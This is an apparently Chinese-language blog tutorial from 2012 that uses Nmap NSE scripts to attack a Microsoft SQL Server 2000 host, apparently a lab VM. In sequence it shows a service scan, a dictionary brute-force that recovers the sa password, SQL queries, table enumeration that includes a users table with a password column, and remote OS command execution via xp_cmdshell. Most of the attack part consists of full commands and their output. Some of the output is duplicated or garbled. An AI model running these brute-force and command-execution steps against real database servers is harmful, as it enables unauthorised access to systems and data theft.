

# NMAP : Attack Mssql

2012-09-30 15:32:31 By admin

## 前言

Nmap于1997年9月推出，支持Linux、Windows、Solaris、BSD、Mac OS X、AmigaOS系统，采用GPL许可证，最初用于扫描开放的网络连接端，确定哪服务运行在那些连接端，它是评估网络系统安全的重要软件，也是黑客常用的工具之一。新的Nmap 5.00版大幅改进了性能，增加了大量的脚本。例如Nmap现在能登录进入Windows，执行本地检查(PDF)，能检测出臭名昭著的Conficker蠕虫。其它的主要特性包括：用于数据传输，重定向和调试的新Ncat工具，Ndiff快速扫描比较工具，高级GUI和结果浏览器Zenmap等

正如大多数工具被用于网络安全的工具，nmap也是不少黑客及骇客（又称脚本小孩）爱用的工具。系统管理员可以利用nmap来探测工作环境中未经批准使用的服务器，但是黑客会利用nmap来搜集目标电脑的网络设定，从而计划攻击的方法。

Nmap常被跟评估系统漏洞软件Nessus混为一谈。Nmap以隐秘的手法，避开闯入检测系统的监视，并尽可能不影响目标系统的日常操作。

## scanner

```
root@Dis9Team:~# nmap 5.5.5.3 -sV 5.5.5.3 -p1433 -vv
```

```
Starting Nmap 5.21 ( http://nmap.org ) at 2012-09-20 23:32 PDT
NSE: Loaded 4 scripts for scanning.
Initiating ARP Ping Scan at 23:32
Scanning 2 hosts [1 port/host]
Completed ARP Ping Scan at 23:32, 0.10s elapsed (2 total hosts)
Initiating Parallel DNS resolution of 2 hosts. at 23:32
Completed Parallel DNS resolution of 2 hosts. at 23:32, 0.26s elapsed
Initiating SYN Stealth Scan at 23:32
Scanning 2 hosts [1 port/host]
Discovered open port 1433/tcp on 5.5.5.3
Discovered open port 1433/tcp on 5.5.5.3
Completed SYN Stealth Scan at 23:32, 0.10s elapsed (2 total ports)
Initiating Service scan at 23:32
Scanning 2 services on 2 hosts
Completed Service scan at 23:32, 11.00s elapsed (2 services on 2 hosts)
NSE: Script scanning 2 hosts.
NSE: Script Scanning completed.
Nmap scan report for 5.5.5.3
Host is up (0.00015s latency).
Scanned at 2012-09-20 23:32:32 PDT for 12s
PORT      STATE SERVICE VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2000 8.00.2039; SP4
MAC Address: 00:0C:29:03:16:F8 (VMware)
```

Service Info: OS: Windows

Nmap scan report for 5.5.5.3

Host is up (0.00022s latency).

Scanned at 2012-09-20 23:32:32 PDT for 12s

PORT STATE SERVICE VERSION

1433/tcp open ms-sql-s Microsoft SQL Server 2000 8.00.2039; SP4

MAC Address: 00:0C:29:03:16:F8 (VMware)

Service Info: OS: Windows

1433/tcp open ms-sql-s Microsoft SQL Server 2000 8.00.2039; SP4

## PASSWD

```
root@Dis9Team:/tmp# cd /pen/nmap/share/nmap/scripts/
```

```
root@Dis9Team:/pen/nmap/share/nmap/scripts# wget http://nmap.org/svn/scripts/ms-sql-brute.nse
```

暴力破解 NAME 和PASS是TMP目录下的字典

```
root@Dis9Team:/tmp# nmap -p 1433 --script ms-sql-brute --script-args userdb=name,passdb=pass 5.5.3
```

Starting Nmap 5.51 ( <http://nmap.org> ) at 2012-09-20 23:42 PDT

Nmap scan report for 5.5.5.3

Host is up (0.00021s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s

| ms-sql-brute:

|\_ sa:123456 => Login Success

MAC Address: 00:0C:29:03:16:F8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

## Select

```
root@Dis9Team:~# nmap -p 1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=123456,ms-sql-query.query="SELECT @@version" 5.5.5.3
```

Starting Nmap 5.51 ( <http://nmap.org> ) at 2012-09-20 23:47 PDT

Nmap scan report for 5.5.5.3

Host is up (0.00021s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s

```
| ms-sql-query: (Use --script-args=mssql-query.query=" to change query.)
| SELECT @@version version
| version
| =====
| Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
| May 3 2005 23:18:38
| Copyright (c) 1988-2003 Microsoft Corporation
|_ Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 2)
MAC Address: 00:0C:29:03:16:F8 (VMware)
```

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds  
root@Dis9Team:~#

## GET tables

```
root@Dis9Team:~# nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.passw
ord=123456 5.5.5.3
```

Starting Nmap 5.51 ( <http://nmap.org> ) at 2012-09-20 23:48 PDT

Nmap scan report for 5.5.5.3

Host is up (0.00027s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s

| ms-sql-tables:

| pen

| table column type length

| =====

| products id int 4

| products prodName varchar 50

| users userId int 4

| users userName varchar 50

| users userPass varchar 20

|

| Restrictions

| Output restricted to 2 tables (see mssql-tables.maxtables)

| Output restricted to 5 databases (see mssql-tables.maxdb)

|\_ No filter (see mssql-tables.keywords)

MAC Address: 00:0C:29:03:16:F8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds  
root@Dis9Team:~#

## cmdshell

```
root@Dis9Team:~# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=123456,ms-sql-xp-cmdshell.cmd="ipconfig" 5.5.5.3
```

Starting Nmap 5.51 ( <http://nmap.org> ) at 2012-09-20 23:50 PDT

Nmap scan report for 5.5.5.3

Host is up (0.00027s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s

| ms-sql-xp-cmdshell: (Use --script-args=mssql-xp-cmdshell.cmd=" to change command.)

| ipconfig /all

| output

| =====

| Windows IP Configuration

| Host Name . . . . . : fuzzexp-f60914c

| Primary Dns Suffix . . . . . :

| Node Type . . . . . : Hybrid

| IP Routing Enabled. . . . . : No

| WINS Proxy Enabled. . . . . : No

| DNS Suffix Search List. . . . . : localdomain

| Ethernet adapter ,0xDE\xA5:

| Connection-specific DNS Suffix . : localdomain

| Description . . . . . : Intel(R) PRO/1000 MT Network Connection

| Physical Address. . . . . : 00-0C-29-03-16-F8

| DHCP Enabled. . . . . : Yes

| Autoconfiguration Enabled . . . : Yes

| IP Address. . . . . : 5.5.5.3

| Subnet Mask . . . . . : 255.255.255.0

| Default Gateway . . . . . : 5.5.5.2

| DHCP Server . . . . . : 5.5.5.100

| DNS Servers . . . . . : 5.5.5.2

| Primary WINS Server . . . . . : 5.5.5.2

| Lease Obtained. . . . . : 2012t9\x0821\xE5 14:45:11

| Lease Expires . . . . . : 2012t9\x0821\xE5 15:15:11

|\_ MAC Address: 00:0C:29:03:16:F8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

root@Dis9Team:~#

**版权声明：**

本站遵循 [署名-非商业性使用-相同方式共享 2.5](#) 共享协议.

转载请注明转自[Dis9 Team](#)并标明URL.

本文链接 <http://fuzzexp.org/?p=5395>